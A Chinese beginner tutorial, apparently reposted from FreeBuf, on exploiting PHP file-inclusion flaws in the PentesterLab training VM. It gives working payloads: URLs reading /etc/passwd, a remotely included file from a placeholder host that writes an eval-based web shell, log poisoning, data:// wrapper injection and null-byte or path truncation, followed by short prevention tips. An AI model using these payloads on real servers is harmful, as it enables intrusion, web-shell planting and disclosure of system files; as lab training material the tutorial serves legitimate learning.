PentesterLab新手教程(四):文件包含

x
用微信扫描二维码
分享至好友和朋友圈

  PentesterLab 简介

  Web for pentester 是国外安全研究者开发的的一款渗透测试平台。

  这个平台包含的主要漏洞如下:

  

Code injection (代码注入)
Commands injection(命令行注入)
XSS(跨站脚本)
SQL injections(sql注入)
File include(文件包含)
LDAP attacks(LDAP攻击)
File Upload(文件上传)
XML attacks(zXML攻击)

  个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab的全套教程,PentesterLab上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。

  系列教程:

PentesterLab新手教程(一):代码注入
PentesterLab新手教程(二):XML注入
PentesterLab 新手教程(三) :LDAP攻击

  PentesterLab安装

  安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。

  官网地址&下载地址

  前言

  这个模块介绍的主要是php文件包含。

  php文件包含分为本地包含和远程包含。文件包含有以下几个函数:

  

include()
include_once()
require()
require_once()
fopen()
readfile()

  区别:

  

include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

  require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

  在做文件包含之前先了解一些常见的文件包含漏洞。

  读取关键文件 Windows: c:\windows\php.ini php配置文件 c:\windows\my.ini mysql配置文件 Linux: /etc/passwd 读取用户密码 /usr/local/app/php5/lib/php.ini PHP配置文件 /etc/httpd/conf/http.conf apache主配置文件 /etc/my.cnf mysql配置文件

  利用方式如:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd

  远程包含

  前提是allow_url_fopen是打开状态。如远程服务器上新建一个xxx.txt文件,内容如下:

  <?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>

  远程包含如http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt此时在服务器根目录下就会生成shell.php文件,内容为一句话木马

  <?php eval($_POST[xxx]);?> 本地包含木马

  如果目标服务器关闭了allow_url_fopen,则可尝试上传如xxx.jpg。内容如下:

  <?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>

  访问如:http://192.168.199.110/fileincl/example2.php?page=/var/www/a.jpg就能在本地生成shell.php

  配合apache日志

  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval($_POST[xxx]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址。

  利用php协议进行包含

  同样allow_url_include需要开启,利用如:http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

  截断包含

  %00截断

  截断条件:

  php版本小于5.3.4 详情关注CVE-2006-7243

  php的magic_quotes_gpc为OFF状态

  长目录截断

  ././././././././././././././etc/passwd 或者 ////////////////////////////etc/passwd 或者 ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

  :php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256,超出部分会被系统丢弃。

  点号截断/boot.ini/……………………

  注:php版本小于5.2.8,只适用windows,点号需要长于256

  exampl1 <?php require_once '../header.php'; ?> <?php if ($_GET["page"]) { include($_GET["page"]); } ?> <?php require_once '../footer.php'; ?>

  没有任何过滤,基本上算是为所欲为。

  poc:

  http://192.168.199.110/fileincl/example2.php?page=/etc/passwd 本地包含 http://192.168.199.110/fileincl/example2.php?page=http://assets.pentesterlab.com/test_include.txt 远程包含(PentesterLab的网站还包含针对此类漏洞的测试,访问此url会显示phpinfo内容)

  另外:向url的配置参数里面加上一固态特殊符号(例如引号)。会引起报错如下

  Warning: include(/etc'): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '/etc'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7 ? PentesterLab 2013

  这应该算是个小技巧了吧,从中可以得到如下信息:

  脚本的路径:/var/www/fileincl/example1.php 使用的功能:include()。 example2 <?php require_once '../header.php'; ?> <?php if ($_GET["page"]) { $file = $_GET["page"].".php"; // simulate null byte issue $file = preg_replace('/\x00.*/',"",$file); include($file); } ?> <?php require_once '../footer.php'; ?> 后端代码分析

  $file = $_GET["page"].".php";给包含的文件加上.php后缀名,是为了防止本地包含漏洞,限制只包含php后缀名的文件。

  preg_replace()函数,正则表达式匹配,并把它替换成相应的字符串。

  \x00匹配该十六进制对应的acsii,即NULL . 匹配任意字符 * 匹配前面的子表达式零次或多次。 更多正则表达式相关可参照:http://www.runoob.com/regexp/regexp-syntax.html

  可以使用%00截断,poc如下:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd%00 后面的.php后缀直接被截断。

  总结

  总的来说,文件包含是个比较常见的漏洞,可以直接getshell

  总的来说有以下几种预防的方法:

  

php中可以使用 open_basedir配置限制访问权限在指定区域
过滤 . (点) / (斜杠) \ (反斜杠)3.禁止服务器远程文件包含(allow_url_include = off)

  *本文作者:婷儿小跟班,转载请注明来自FreeBuf.COM

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

跟贴 跟贴 2 参与 102
推荐
资讯
财经
科技
娱乐
游戏
搞笑
汽车
历史
生活
更多
二次元
军事
教育
健身
健康
家居
故事
房产
宠物
旅游
时尚
美食
育儿
情感
人文
数码
三农
艺术
职场
体育
星座
© 1997-2020 网易公司版权所有 About NetEase | 公司简介 | 联系方法 | 招聘信息 | 客户服务 | 隐私政策 | 广告服务 | 侵权投诉 Reporting Infringements | 不良信息举报

FreeBuf

互联网安全新媒体

头像

FreeBuf

互联网安全新媒体

5558

篇文章

14323

人关注

列表加载中...
请登录后再关注
x

用户登录

网易通行证/邮箱用户可以直接登录:
忘记密码